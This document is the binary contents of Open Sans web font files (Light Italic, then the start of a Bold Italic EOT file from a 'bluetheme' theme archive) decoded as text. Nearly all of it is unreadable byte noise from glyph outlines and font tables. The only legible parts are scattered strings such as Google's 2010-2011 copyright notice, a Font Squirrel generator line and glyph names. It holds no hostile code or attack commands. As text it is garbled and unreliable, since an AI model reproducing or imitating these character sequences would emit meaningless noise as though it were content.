�$9��9��99��9014632!#327#"&3 4&#"f���r�����!��������{1WI����L�zi��,6��I^E��CW���q��+��� ���+�
�	+�3��2� /�!+�6�>���+
��
�������
+�	
+��+�+�
....�	
........�@�	�9�
�9013267#?>32&#"3##"'�5/X\���##��I]W<`s#���!�|06��j��C���Pk}�Q�Z�����LT*7E��(+�.�+�B�2�
+�B�;(

+�;��F/�ֱ+�+�	+�8� ���8�?+���$ ��1�1/�$�G+�6��5�C+
�5�4��!��#��"!#+�"!# � �#9�!"45....�!"45....�@�	�9�18@	
(.;B$9�$?�9�.�$$9�;�99�B�	99014%&547.54>32!#"'#"&732654&/32>54&#"X5N�GOk�pENi�#m�x?PX?RyZ���f����}����ujX�Ipe]�J��b*Q{O$�Xo�jOp:m�`	!P))/�p�\��eb��U[-�3ptJ�\hsV�L
��+�333�	+���/�ֱ��+���+���+��+�6�>��+
�������>��+
��������+�+�+� � �#9�9�9�.......�.....�@��9��9��	9��9901333>32#654&#"LL`V,N�y|��b�W[pŇ$f�e�Oq}�vFp�^�\@PZ��#L��Y�+�3�+�3�/���/�ֱ��+�	� ���+�6�>���+
�@�	�9901334632#"&L�`�,&9,#?��V7BH9B'����
}�+��+�3�/���/�ֱ�+��/��+�6�>���+
�������..�..�@��99��
9��90132673#"'4632#"&��/BR]
`��#�u>3u,&9,#��g~�	��/7BH9B'L�
��+�	
33�+�/�ֱ
�
�+��+�6�>��+
����
���>��+�
+�
+�
+�
 � �#9�9�9�.....�...�@�
�9��9��9013333	#LJ`�Fa}�&)j���P���b�+��/���L�I�+�3�/�ֱ��+��+�6�>��+
�������..�@0133LN^����H^P+��+� !333�+�+�3�&�2�,/�ֱ+�+�+���!+� � �$+�
�
�+���+��-+�6�>��+
�!�"�� ���"..�"..�@��99� !�&99�
�9��99�&�
$901333>323>32#654&#"#654#"H�P!P�ojrM�vu��d�VL��0mf��j��#d?�qr����{s7\�N�x8MU����}%���%L
P��+�
333�+�3�+���/�ֱ��+���
+���+�	�+�6�>��+
�>��+
�
�������+�+� � �#9�9�....�....�@��9�
�9��9��	9901333632#654&#"L�R%�����b�W[pŇ$f?��xFp�^�\@PZ��#b��T
D�+��+���/�ֱ��+��+��99��99014632#"&7!2654&#"b����ŏ����g�u��|�v��N�ٿ�������-��������T!��+��+�3�+��/�3�"/�ֱ��+���+�
�#+�6�>��+
�>��T+��+�+�!+� � �#9�!9�9�!...�!...�@��99��9��$9��
9990133>32#"'#3265#"!PR-[�|������1
��{k|�~�W��H�+�������H��F}��?�'u��b�+3P"��+��	+�
3�+���#/�ֱ��+��$+�6�>���+
�.�	����
��>��C+��
	+�	+�
	 � �#9�9�
....�	

....�@��$9��$9014632373### 32>54&#"b���m�7P��_b@]�}��g[m\��Eg|Ȁb�d�tm��������}��I�����HDRJ�+�+�
3�+�
��/�ֱ��+��+��99�
�99901333>32&#"H�PIdqCE6/B^�� d?�^S.]������1P&X�%+��+���'/�ֱ��+�"�(+��%$9�%�9��"$9��9017532654.'.54632&#"#"J�E��Eb�hšK�9#��t�"WLr_-α�7k.2sj*@;8P�^��#X@jU7BG)?Q\=��q���?v�+�
�
� ���+�3��2�+�/�ֱ�+�6�>��+
�.�����	��	..�	....�@��9901?3!!327#"&547q�a77��~DTeEcl��C��Q��cA�VmhI�_m��+?l�+�+�
�+�3�/�ֱ��+���+���+��+��9��
9��99�
�99901747332>73#7##"&m�d�_[nÅ!ib�P�샇�<n��Fj4JW�����|h�?P�
+�3�	�+�33�/�ֱ�
+�6�����+
�������.�..�@0133673#hel3N�f��q?�!�Ys���y�?]�+�3�
�2�+�33�/�ֱ���/��+��+��99��99��9901336733?3#&5##y\
=YuM@e@`�l<"n��u?�˝����W��=������*\�j���?&�+�3�+�3�/�
+��
9901#33	#H�d�ux�@b�w/�2�����'��?`�+�� ���+�33�/�ֱ�+�6�����+
�����	��	..�	..�@��90132>73363#"'�GBP�~%�dR3+�\g�7HeSD=��c�EG���biv��f<��?	,�+��+���
/�+��9��901#7!7!!����ZH�SS�hT;���(��+�
� /��/���)/�'ֱ�'
+�@	+�'+�"�"/��*+�6�>k��+
�$�������$�$+��+�+�$�%$+�%$ � �#9�9�9�9�$%........�$%........�@�'"�99��"99��99017267>;3# 54?654;~�Y��VV5J{gDK/
Ke�8Nbm��yV%VM���yeG4p�:+=8V�-F�Z%�H���/�ֱ��+013Hd��������+��+��+/��#/�"��,/�ֱ�+��-+�6�=��h+
����'��&��>��+
��������&'........�&'........�@��	99�"#�	99��9901>7>75.547654.#7323"+)`T5JylKE6$HP�u7cd}�X ���&TOR~iA7L=(,2Vf`)J�_ MSNam�v�uh3=7�/��/��2�/�+��99��999��90156323267#"'.#"l}=lf~]6k@ozu�>e:1vq^n,::C`qH=���P
>�+���/�ֱ��+�2�	+�
+�+�	�990134632#">˕2+C2,B��>��L7DJ8A������+�3�+�3� �/�� �/�3���/�ֱ��+��
+�@	+��+��+�6�>��P+
��+��+�+�>��+��+� � �#9�.�....�@��9��9��9��
99��	90146?3&#"327##7.��$Z&tekn��w���v�(]-��X�:���'Z/��ޱ��<\:���������+��2�+��
+�33��22�/� +�6�>��K+
��	��	�����	+�	+��+�+�	....�	........�@��9��901#7>7#73>32'&#"!!!]�#9��L)䰪�'6l{��I��h92��T��R^��NT2����R���Y^�3u(t�+�&�/���)/�ֱ��"+��*+��$9�"�$9��	
$9��$9�&�	
$9��$90176327'#"''7&54732654.#"�?i}vi�=�NN�=�hw~f�=JJ�uu�I�Kr�5@�NN�>�jy�\>LP�>bvk�t��sK�N������+�3�
+�33�

+�33��22�

+�	333��22�/�ֱ��+��+�6����+
�����	��>��+
��������+��+�+��+�	........�@017!7!7!33!!!!#�+)���d� u��
��'=��;i@!T�L7��1��L�T��!B���/�ְ2��2��	+01%3#3Bddd��#�f���/<��.+��+���=/�
ֱ0�0�+���+�*�*�7+�&�>+�0�9��.99��
"(4:$9�*�#999�.�9��*4:$9��9017532654&'.5467.54>32&#"#">54&'f/�J��U|�q��@O\�t�~�~|�\�p]1�z`���S1q�gvs�w�3c'ib>X4A�^e�1mBJyD:P6]M;[=4K_?�x@�V�L9OC01�\Hl5����	<�+�
3�0+�2�+�0+�/�ֱ��
+��+014632#"%4632#"�)$6*"7X)$6*"7V1:@0:?1:@0:���s�5|�+��+��(+�#�3.#
+�3��6/�ֱ�� +�+�+�+��7+�+�#%03$9�.3�19�(� &0$9�#�%9014$32#"$732$54$#"4632&#"327#"&��^��^�������]�0��.���ѳ��Ϋ)ܻwl$c\����Urhi����^��������ZƲ�Ѳ�3��0���Ҵ�4S-����+X-��+����+�	33��/���/�ֱ��+�

� +�6�>���+
�.���
��	��>��@+��+�+� � �#9�9�
....�	....�@��$9�
�
99��
$901432373#7##"&73267654&#"���7U#B�H`P^XoB�H9^��:9g�v}�qh��m3H:U�={L�
77=k9���@kj:���?m1���'�m1���'}0�/�	�
+�@	+�/�ֱ�
+�@	+�+015!#}�d�d��M�(P!�/����/�ִ	+�+017!M��ZZ���u�-5��+��+��,.
+�,�,.
+�@, 	+�)2�!5
+�!��6/�ֱ�� +�-�.2�-�2+�%�%�+��7+�2-�+($9�%�*9��)9�.,�($9�5�%9014$32#"$732$54$#"32##32654+��Z��^�������\�0��.���ѳ��Ϋ�ӏ�OF�xӨp]f�n��^��������YͲ�Ѳ�3��0�����p|�Pz �wh���]Y�\u�/�	�	��/�+017!\5�6aa��;�B�+��	/���/�ֱ
��+�
�+��	99��99014632#"&732654&#"�{z��yz�I�[\�[Z��x��xz��zY��YZ��ma�+�	�/�3�	�	2�
+�@	+�
+�@	+�/�ְ2�
�2�

+�@
	+�
2�
+�@	+�2�+0135!5!3!!#��y�e��oeddub��jb�p�RJ��0�
+��/���/�ֱ�+��
$9017>54&#"'632!R)�[MC_c)l�Ih5v|���JPv�Q;LL>Z6Z7j�f�Nm9��'V�+��%/��
/���(/�ֱ!�!+��)+�%�9�
�!99��99��99901532654+732654&#"'632#"&m.|?cx�TVf�KDdc(m�dvajBON�[;�qZ(iZ�OcPDED@Vq\U~hHM�FD��!	(�/�
+�
/�ִ
+�+��9015>73DB�-�3�V�3�JB�6��H?��+�+��+�
33�/�3�/�ֱ��+���+�
��
+��+�6�>��i+
�>��t+��+�+� � �#9�9�..�..�@��99��9��9��99��$901332>73#7##"&'#Re�aWnƒ$hc�N��Ul!?�+�F`3RZ�����A9�������H�+��
+�@
	+�@
	+�2�/�
ֱ	�	�+�/�	�+��+0163!####"&���d�e@Q�������F3����qo3}��R��1�+�+���/�ֱ�+��9��9013254'73#"'�*ƗnPN���. �jsa
��z^m�JP�
��+�3�/�ֱ�+�6�>��+
�.�������>��+��+�+�+� � �#9�9�9�......�.....�@01%3#>7�P�Tv
"4u���9;=9)I�'��
B�+��/���/�ֱ��+��+��99��99014>32#"&732>54&#"�S�`ixP�ernP�Ii:NLFl<#p�q�ts�s�}�]�_S[]�!{/�
77%7!9�@���/:�?����P�'�^��1P�'�^�����8�'����'�P{���5k�'t���&{����G�'���&u����m�F%b�+�$�/���&/�ֱ��+�2�	�!+�'+��$9�	�$9�!�999�$�$901467>73327#"&4632#"��Ua1\fnvr;�w��&U�f��)2*D3,AZ��q=`^_�QT{�Kj}dV19��8CJ8A�����s&$C1R����=s&$vXR�����s&$�1R����V&$�PR�����&$j+R�����&$���������+�3�	�+��22�
+�3�
�
2�
+���/�+�6�>��+
�.�.��		���	��	�	+�	+��
+�+�	
........�@01#!!!!!!!	!#u�s��uN���r�)n�D�����X�^��^��^
��s�������&&z+��fss&(C}R��fss&(vJR��fss&(�NR��fs&(jBR��f
s&,C�R��fDs&,v�_R��f�s&,�$R��f�&,j�RZ�
��+��+��
+�33��
22�/�ֱ�+�6�>��+
�.�.��	���	���+�
+��+�+�
........�@��990173! #!32$5!#!!Z��1!��������Q��$΁z���`����_�����j��`��fb&1��R�����{s&2C�R�����{s&2vR�����{s&2��R�����{&2��R�����{&2j�R�D�d7			'�FJMD��LD����DHE��IC����CI��CJ�����",i�+�%�+�+��+�-/�ֱ��)+��.+��9�)�	#$9��
99�%�	,$9017&5$327#"'&#"32$54&'��q�E�ۅ�F�-7h����ׅ�G+#:k†ܝ\�k���#�����y�5�3�p�����p��i�4qw���d���U�*�����ss&8C�R�����ss&8vR�����ss&8��R�����s&8j�R����s&<v��Rf?���+�3�+�3�+��

+���/�ֱ��+���+��+�6�>���+
��+�+�
+�+�
....�@�
�9013332!#3 65!#f6f9������GX�����������������<��+� �:+��3+���=/�)ֱ��#+��0#+��>+�6�>��v+
����7��6��67....�67....�@�)� '999�#�&-3$9�0�.99�:�<9��9� �9�3�999013267!2#"'532654&'.54>7>54&#"#"'��5>OX1PE��YzkED;`Tմ�[-�>��?NRJ*Obe=n_�� ��!�mI.��eg�e{qK�SLa:3K&?�_��Am$.�|Kl6:iE9\UGF\7FP��������f��7!&DC+��f��7!&Dv��f��7#&D���f��7�&D���f��7�&Dj���f��7h&D��f��P,<F�%+�$3�*+� 3�0�2�+�
3�9�D2�=*
+�=��G/�ֱ-�-�%+�$
�$�6+�
+��	+�

+�
�A+��H+�6�>��
+
�%�&��$���>�h+�#$+�#$ � �#9�#&...�#&..�@�%-�*09$9�$�'9�6�99�	�=99�
�9�A�
 D$9�0%�9��'-$9�9=�6$9��	
99014632373632!#3267#"&'#7##"&732>54&#"%3 654&#"f��jx
;B#��p~���'��E�BP�I{�'M)	^�qx|gUOC�}W(b\{�q�0�MFw�X�e�qd���{o��3-��*^% xi�������T���=v����8��GS�f��P&Fzy��f��}!&HC���f���!&Hv���f���!&H����f����&Hj���L�!&�C����L�!&�v����L�!&�����L��&�j��f��L#.I�+�#�+/���//�ֱ � �+��0+� �
'$9�+#�99901463234''%&'7%!"&732>54.#"f~�k�(VH��'6h; b3
'�WY����g��v�kF�[|�`}��c]�,]�I�<ODP6�J�t������p�ę�z��M�I{���L1�&Q�+��b��!&RC���b��!&Rv���b��!&R����b���&R���b���&Rj��
/�
1�/��/�	�/���/�ְ2�	+�2�+015!432#"432#"����`03:)``.5:)`�dd��j7392%k7491-��1�'t�+�!�+�+��+�(/�ֱ��%+��)+��99�%�	$9��
99�!�9��'$9��	9017&546327#"'&#"32654'-wB����dmAuF����[n\ ]J{|�vPC��u#�j��N�R�5�i����S��}H�H���OI�-�eN��m��+!&XC��m��+!&Xv/��m��+!&X���m��+�&Xj����'��!&\v���"��+��+��/�3�#/�ֱ��+���+��$+�6�>��+
�������>��+�+�+�"+� � �#9�"9�9�".....�"...�@��999��99��99��9990133>32#"'#3265#"!�cr2]�}������1
��{k|�~�V��G���؜�������H��F}��?�'s����'���&\j�vL�??�+�3�+�3�/�ֱ��+��+�6�>���+
�@0133L�`�?�����/�"��+��+��+�	�+��


+�
��#/�ֱ�$+�6�>��+
�.������	���
	+�
	+�..�	

......�@�
�9901$32!!!!!!#"327&#"��Lׂn���uN���r�fi*���h��D0nO���/��^��^��^+&��
�zb���T#09v�+�!3��&2�+�
3�-�72�1
+�1��:/�ֱ$�$�4+�
�;+�4$�
!*1$9��9��$999�-1�
*999014632>32!#327#"&'#"&7!2654&#"%3 4&#"b�����F�r����� �������� A䏸�g�u��|�v11YG����N�����zi��&<��I^E�������-������FT�����&<j��R���!+�/�	3�
+�/�ִ	+�+��9015>73#&'�D�&@c+1F[7�7�8�:@�:<�9s#1��h@�	/��/���/�ֱ��+�
�+��	99��99014632#"&732654&#"1wZXmsX]nPB98EC6<C�Xpd\\qh]9BH99BHZ��2�+�3��/�3�	��/�+��9��901>3232673#"&'.#"ZhR)AU4*+9LaL(K&"=&-:�lu:$=Fvn&$9HR�-P!�/����/�ִ	+�+017!R��ZZR�-P!�/����/�ִ	+�+017!R��ZZR�-P!�/����/�ִ	+�+017!R��ZZB�{P�/����/�+017!B'�ZZD�RP�/����/�+017!D��ZZ����"�+�	+�	/�ִ+�
+01673#�)�VIB(q�duj��z����,�+�	+�	/�ִ+�
+��9901673�B(q+�T�jzi��q������*�/�	+�	/�ִ+�
+��9901673dD&q(�V��nta��t��-��+�3�	+�2�/�+01673#%673#�)�VIB(qJ+�OJB(q�duj��zh
jj��z��-��+�3�	+�	2�/�+01673!673�B(q+�TB(q+�T�jzi��qjzi��q����5�!�/�	3�	+�/�+��901673!673wI}$p+�TB~*p+�T��wpi��ql
}i��q��
'�	/�
+�
+�/�ִ+�+014632#"�~mLP�n����OO}���E����&�'��V{���/�ִ
+�+017Vk9���?m1���'%{���/�ִ
+�+��90177%=�@����P�'�^���1��!3�1>l����J5J��
��+�3�/�
33��22�
+�@	+�	2�/�	ֱ�+�6�>��+
�	������+�+�	�
	+�	+�>��\+�
	+�
	 � �#9�
..�

.......�@��9901733##7%!675�V}��1R1��#=$
f/LA��H��H&�"~P���&o�"+�� "+��
+��"

+�3��2�"

+�3��2�'/�%ְ2��2�(+�%�99��
9�
�9017367#7332&#"!!!!327#"5P���_^�y5f����R��4	��X��s�����RetR ZRN��RbwR��9^7�����o�+�	33��2�
+�@	+�222�/�ֱ�
+�@	+�
+�@	+��+���+��+��
$9015!##33#7###�
�V}}��}V�J�hNN�}��}��^�/���a�h==!!=��=�����;�9+�+3��02�� ��.3�;�-2�+� 3�
�2� ��3��2�	+�$333��'45222�</�=+�6�>���+
��
��6����>��S+
�3���(	��#���
+�	
+�6�6+�3�3+�(�$(#+�'(#+�3�43+�6�56+�
#(36........@	
#$'(3456................�@013267#?>32&#"!7>32&#"3##"'53267!#"'�5/X\���##��I]W<`s#�##��I]W=as#���"�z065/X\�#�!�|06��j��C���Pk}����Pm{�Q�Z��Zj���Z������'L5I�����/'O7I�����^&��Lu����w&��O�7�/�_<��������1�Rs�����1�7Rd�����P��+Rh��3N��h�dq�h���uR�R���h�hbh'h7hhXh�h�hbhs�f��h�h�h���}#���f��Ff+f�f^�Vf�f��bf�f�m\f��yf��yf�%��Z�7����y��h�������PF!�Jo�mfLwfmf�fB���wL�L���L�L�HwLdb}���b�H;hqwmhqy�����'w���;hH��h�h�h��h�h�hB�fo�����\=h}uM���\m�h�R�moD���=�����R����\!���5�G#��#��#��#��#��#��h����+f+f+f+f�f�f�f�fHZ\f����������h���Z�Z�Z�Z���yfF��mfmfmfmfmfmfBfwf�f�f�f�f�L�L�L�LdfwLdbdbdbdbdbh�d-wmwmwmwm��'�����'�L���b��o��1oZ�s�s{�==�}iuRuRuR�B�D+�+���w�w�����E}V%�1��5hP��=����P�Z�,,,,p�xp$���$X���j�l�V��j�		P	d	�	�

�2��N��
Z
�
�<��^�.��X��n�D��0p���\�<�<��@��d�>��H��X��Z��  � �!v!�!�!�"�##�$$:$�%%�&4&X&�&�'F'`'�'�(8(�(�)V)�)�)�*8*�*�*�*�*�+B+N+Z+f+r+~+�,,,,$,0,<,H,T,`,l,�,�----&-2-T-�-�-�-�...z/./:/F/R/^/j/v0j0v0�0�0�0�0�0�0�0�1H1T1`1l1x1�1�1�2L2X2d2p2|2�3&323`3�4|4�4�55D5D5D5D5D5D5D5D5D5D5D5D5b5�5�5�5�5�6$6P6�6�6�77&7&7F7j7z7z7�8l8�8�9�9�9�9�9��GKSf	r	r	�	�	,�	�	(�	�nDigitized data copyright � 2010-2011, Google Corporation.Open SansLight ItalicwebfontOpen Sans Light ItalicVersion 1.10OpenSansLight-ItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB00uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�+�+D� E��+�+D� E�b+�+D� E�7+�+D�	 E�+�+D�
 E�	L+�+D� E�
+�+D� E�+D� E��+�Fv+D� E��+�Fv+D� E�n+�Fv+D� E�2+�Fv+D�
 E�
+�Fv+D� E��+�Fv+D� E��+�Fv+D� E�-+�Fv+D� E�+�Fv+DY�+PK!˜|�v�v�?bluetheme/assets/fonts/OpenSans/OpenSans-BoldItalic-webfont.eotnu&1i�v����LP��[ @(� �Q��Open SansBold ItalicVersion 1.10*Open Sans Bold ItalicFFTM_���GDEF( OS/2�q�OH`cmap�\l���cvt c
�Ffpgm�/��egaspLglyf�3"&Trlhead�j��x�6hhea��x�$hmtx�/�y�loca��|��maxp�~� name(�C~~��post-����prep�����ɉo1��D��I�B��3�3�f��@ [(1ASC! ����X �^� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�^����������+--17���)
��&$����,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�+�+�+�/�ִ+��+�+�	+013!%!!�I�y����Jh�����7�
+�	/�+�/�ִ+�+��
99�
�90174632#"&!kaDRnYIR}�T�sZlLEWlK��/�����+�3�+�2�/�	+01!3!�G��J������)5�O�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ִ+��+�2�+�2��+�+�!+�6�=F�+
�=��u+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@��9��9017!7#7!3333!!!###%37#)F�!w�u�t�t���E��t�u�s�q�E�������i��i���h��h���3��`$+8�/�3��%2�
+�@	+�2�"/�3�

�
2�,/�ֱ�2��+�/�
+�@	+��(+�� ��+�-+�6�>��+
�����+��>Y�+
�.�!�������+�!�
!+��
+�+��++��+�!�"!+��%++�!+......@

!"%+............�@��9��99�"�$9�
�	99017.546?3&'#7&7>54&'3��G����#�!��j�n?��B��'�,�1P3>E\?N1#�
k
B=�|����D�A	��3a�U�����O �D�	H>.;s����
)5��+�'+�,�+�+��'
+�� 2'
+� ��6/�ִ+��+�+��+�*+�*�0+�#+�7+��9��999�0*� '999�#�9�,�*99�2�#099� �9��99014632#"&33254#"4632#"&732>54#"so�{��p�z��t@��o8A^9?_ej�|��l�y���7)H/:'H.u��������$��Jd`�`���"�#�����۔��an�a`p�D����$0~�+�+��+�.��1/�ֱ%�%+��/��%�++��2+�%�"$9�+�
!999��$9��9�.�"($901467&54632>7!!'#"&%327>54&#"D��L�ǩ���,I*,����H����;[Gsj�XF�qU<(BIf��a���᥎���9�m�Ǹ��bv��AV;H3kl.\;h<93]��%�"�+�+�/�ִ+�+01!�G����J��H�#�+�/�ִ&+�
+��
901!
#J���u�S?�������
�m��j�
#�+�/�ִ&+�+��9013��t����!�3�����������B�%7%%'%�VR!q�����Z��u�q3���+��IQ��m�%�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#mn�o���d�q����l������ �/�	+�/�ִ	+�+016!fJxv����O��)�j�!�/�
�
��/�ִ+�+017!)55�����{9.�	/�+�+�/�ִ+�+�
+0174632#"&kaDRnYIRsZlLEWlK����#!Z)'����JB��V�D�	+�
�+�
��/�ֱ��+��+��	99��9901$3 !"&%32654&#"B� ��������/7FQ�]=>P�`�)��'�*����su���of�t���
[�+�3�+�3�/�ֱ�+�6�>���+
�������.�..�@��9��
9013!67�6���ϴ#)	i�Z\�J=��N���J�G�+��+���/�ֱ�+��99��9��999��901#7>54&#"'>32!1+ݴ�REB�f����R����86����TKOCU�p_ġk����
����P�'s�&+�
�+�
�
&
+�	�&+�(/�ֱ"� ���)+��99�&�9�
�"99��99��9��9��901732654!#732654&#"'>32#"T�]�����.I��VN��|ي�ؽ�������;23q��|nCJd�QA�����y��u��P�
��	+�3�+�
	
+�33�
�2�/�	ֱ�+�6�>��+
�	������+�	�
	+�	+�>l��+�
	+�	+�
	 � �#9�9�
...�

.......�@�	�999�
�9��9017!3#!%!7>7#07ê3�?��?��7:8#a/���i��/�:�#?v��h�S�+��
+��	

+��	
+�@		+�/�ֱ�+��9�	�99��9901732654&#"'!!632#"&����smfoh��7�XH7�ԏ��u�=
c�{^^!N������.X����&W�+�
�+�

��'/�ֱ�� +��(+� �
999��
99�
�#$9��9014$32&#"3632#"&%32654&#"Xz�,�}b3Tk��Bsĝ�����'PCc}CE<mB�������°��ߎ��[h��GUGxN��"�+�+���/�+��9013!!N�8�)���7��f�#-x�+�
�+�+	��./�ֱ�+�$��+��� ��(�(/��/+�$�99��!&+$9�(�9�+�!&$901%&54>32#"&%32654&'654&#"7\�tܓ{�a�����)dU]mITtr�{�O?LZ^*���w�hT�b��4��z�j��Q_kUIu6-|l�EH�DN]V��D�'X�+�
�+�$
��(/�
ֱ��!+��)+�
�99�!�
999��9�$�
$901732>7##"&54632#"32>54&#"Voty�s*o������������KD<g=GKAe7)b���϶�������WYI_TjT���1sO�+�+�	/�+�/�ִ+�+�+�+��	9��99��90174632#"&4632#"&kaDRnYIR�o^DQmZHSsZlLEWlK|\kMEVlI����1s,�
+�+�/�ִ
+�+�
�99016!4632#"&fJxv�To^DQmZHS���O���\kMEVlIm�%5	m��}��������m�%�/��/���/�	+015!5!m��H�������m�%75	5m��}���=�������&}�+�#
�	/�+�&/�'/�ִ+�2��+�/��!+��(+��9��	&$9�!�#$9�&�!999�#�9��90174632#"&632!7>7>54#"�n_DQnXJR�ױ�9l�@A(��mv|C�2q�s[kLEWlL}��S�q[+<EJNg�QTV5w D\�F��8D��+�(�5/�/�/�3�<�!2�A/���E/�ִ,+�,�+�9+�9�%+�+�F+�6�>�W+
�=�?������+�+�=�>=?+�>=? � �#9�9�9�>?......�>?......�@�%9�(/25$9�/5�39��29�<�9�A�%,$901$! #"&'##"&5463232>54&#"3267#"$%327&#"\��>j��Xq2~T��𔹎j:BtE������u�w�����m1-�H9$.RI������٭�ئMFMF����7�\,A D��k������(.�Z�8�AJ�
g�����;�+�3�+�
+���/�ֱ�+��9��
901#!!!!&={�u����'�)M
,A��D\��`^�z$x�5����+�3��+�3��
+�
�� /�ֱ� ���!+�6�>��+
�.�.��������+�+�......�@��	99��9��	99��9013!2!32654+732654+55��ꦙdw���u���3�yy������� �n�tg��a[�{��7�E�+��+��+�/�ֱ�+��9��999��901$32.#"327#"{�\�}�ovj�D�Ӏ��������)��-<�;&��ŵ��M��M+5+�	`�	+�3�
�+�3���/�ֱ�+�6�>��+
�.�.��
�����
....�@�
�9013! #32654&+55�'���\j��|��s�����c��'���5��i�+�	�+��
+���/�
+�6�>���+
�.�.��	�����	�	+�	+�	......�@013!!!!!5526�C�7�#P6��������5��	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!55.6�O�8�'y�������{��m�R�+��+�
�
+��+�/�ֱ�+��9��9��9�
�901$32.#"327!!# {����sJ�W�񉑖L^B��83������%��c�(0��ͱ��+�.!&5����+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>���+
��+��+�	+��
+�	
....�@013!!!!!552y�y1��Ά�)����=�Jw��5��?�+�3�+�3�/�ֱ��+��+�6�>��+
�@013!581����J���R��
Y�+�3�/���/�ֱ�+�6�>��+
�������..�..�@��
9��9013267!#"'��XLc{%1��4��^]�y�d�q��5����+�33�+�33�
/�ֱ��+��+�6�>���+
�>��+��+�+� � �#9�9�..�..�@��
9��
9013!7!	!552���i��#���}m��B��D�PF��5��E�+��+�3�/�ֱ�+�6�>���+
�������..�@013!!552�6��J�5���+�$3�+�33�/�ֱ��+��+�6�>���+
�������� �+
�.�������>���+
�������>�6+��	+��+� � �#9�	9�	......@
	..........�@��
99��99013!3!!67#!#55�D'����54���=6����E�J����mX��	5���+�
33�+�33�/�ֱ��+��+�6�>���+
���������+
�
.�������...�
......�@��	9013!36!!#55eT6������ "����L�JR ت�P{����
D�+��+���/�ֱ��+��+��99��9901$3 # 32654&#"{�\�������7�yy�p�vy�s	�����A�'���>Ǝ����5��
y�+�
3�+�3��
+��	2�/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654+55R���Vm�8���J������t�{����^�+��
+�@	+�+���/�ֱ��+�� +��
$9��9��
9��9901$3 !# 32654&#"{�\����������7�yy�p�vy�s	�����!b�wH'���>Ǝ����5��
��+�	
33�+�3���/�ֱ
�
�+��+�6�>���+
����
���>��+�
+�
+�
 � �#9�9�..�....�@�
�
99��	9��99013!2!#32654&+55g����ww�N��_fJ��Ş�7��1��-ruRR)��V�#a�"+��+���$/�
ֱ��+��%+�
�
"999��999�"�9��
$9��901732654.'.54>32&#"#")��p~2c�p|�ٴm��SjBsyx���FlUJ+A8Jc�p��qc�JZJ=[KP�������J�+�3�+��22�/�ֱ�	+�6�>���+
�������..�@01!!!�7�7���������L������v�+�	�+�
33�/�ֱ�+���
+��+�6�>��+
�
������..�..�@��	99�	�90147!3267!!"&��1��{� �2�9�������HB��iJ3�����N������q�
0�
+�+�
3�/�ֱ�+��
9�
�901!367!!�'3N �<������-Xg/�>p�J���w�+�3�+�
33�/�ֱ��+�/��+�+�+� +��999��
999��9��99��99901!3>7!367!!'47#!�Zq	+XJ5�y��.E�������4�5@�3���~���JыXF���1��y�R�+�3�+�3�/�ֱ��	+��
+��99�	�
99��99��
9901#!!	!u@�@�kX������t�����+����?�g�+�3�+�3�	/�ֱ�� ���/��
+�6�>��+
�������..�..�@��901!!!�8�vV��w��w���P�y��/����	.�+��+���
/�+��9��901#7!!!=&	��5�)��T5�������1�L�+��/�3���/�	+�6�>��+
�.�.�������....�@01!#3%}�-���-���������N�+�3�+�3�/�ִ&+�+�+�/�+�+�6�����+
�@01!!����J�w����U�+�3��2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!�-�#�-�����T�'��+�/�ִ+�+013#k�߮�n��Jy���F����H�/�,+�,+�/�+017!�6�������!�/���	/�ִ
+�
+015!#.�7$O�G���E�Z���s >�+�+�	+�+���!/�ֱ�"+��
$9�	�9014632373#7##"&%32>54&#"Z��a�'9�������1C>E�NM?D{I��g�TP�������XX��G]��%��h!q�+�+���"/�ֱ�#+�6�>��+
�.��� ���� +�  � �#9� ....� .....�@��9013!3>32#"'#32>54#"%J->)+N�L�����R:�JACzK�D|P��ubHؾ���У��P`��u���Z���s=�+��+�
��/�ֱ�+��9�
�999��9014$32.#"3267#"&Z����\6hBU�M[QL�E������[�H�"�߀`a/#�O�Z���#S�+�+�+� ��$/�ֱ��+�
�%+��$9� �$9��990146323767!#7##"&%32>54&#"Z��Rw5L-���G�]��1�B}LKAD{I��e�JZnUf��WN�Ͱ��P`��Z��Bs!i�+�
�+��

+�
��"/�ֱ
�
�+��#+�
�$9��99��9�
